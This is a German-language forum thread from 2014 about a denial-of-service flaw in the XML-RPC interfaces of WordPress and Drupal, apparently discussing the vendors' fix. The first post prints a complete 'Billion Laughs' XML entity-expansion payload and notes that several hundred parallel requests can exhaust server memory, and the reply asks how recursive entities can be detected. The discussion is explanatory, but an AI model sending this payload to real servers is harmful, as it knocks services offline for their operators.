Bug oder nicht? (xml_parse und DoS)

11/08/2014 - 16:45 von Arno Welzel | Report spam
Vor kurzem haben WordPress und Drupal in gemeinsamer Arbeit einen Bugfix
für die jeweile XML-RPC-Schnittstelle veröffentlicht, der einen
DoS-Angriff durch passend pràparierte XML-Daten via xmlrpc.php erlaubt hat.

Siehe auch <http://www.heise.de/-2287767.html>

Das Problem: xml_parse() beachtet auch DTDs und kann durch eine eher
simplen Hack dazu gebracht werden, sehr viel Speicher zu belegen, siehe
auch <http://en.wikipedia.org/wiki/Billion_laughs>:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2
"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4
"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5
"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6
"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7
"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8
"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Im Ergebnis wird so ein Dokument zu nicht weniger als 3 GB Umfang
aufgeblasen.

Zwar hat PHP auch ein Speicherlimit, dass auch xml_parse() limitiert -
aber das gilt nur pro Script. Wenn mehrere Scripte parallel laufen, was
bei vielen Umgebungen üblich ist, genügen einige hundert Anfragen, um
sehr schnell den Speicher des Servers voll zu bekommen.

Die Lösung von WordPress und Drupal besteht nun darin, das erhaltene XML
auf solche Eigenschaften hin zu prüfen und Anfragen, die "logische
Bomben" enthalten, generell abzulehnen.


Arno Welzel
http://arnowelzel.de
http://de-rec-fahrrad.de
http://fahrradzukunft.de
 

Lesen sie die antworten

#1 Markus Grob
11/08/2014 - 19:23 | Warnen spam
Arno Welzel schrieb:
Vor kurzem haben WordPress und Drupal in gemeinsamer Arbeit einen Bugfix
für die jeweile XML-RPC-Schnittstelle veröffentlicht, der einen
DoS-Angriff durch passend pràparierte XML-Daten via xmlrpc.php erlaubt hat.

Siehe auch <http://www.heise.de/-2287767.html>

Die Lösung von WordPress und Drupal besteht nun darin, das erhaltene XML
auf solche Eigenschaften hin zu prüfen und Anfragen, die "logische
Bomben" enthalten, generell abzulehnen.



Die Frage ist nun, was ist eine "logische Bombe"? Wie findet der Server
eine "rekursive" Definition genügend schnell und trotzdem sauber? Das
kommt mir beim Ansatz nicht rüber.

Gruss, Markus

Ähnliche fragen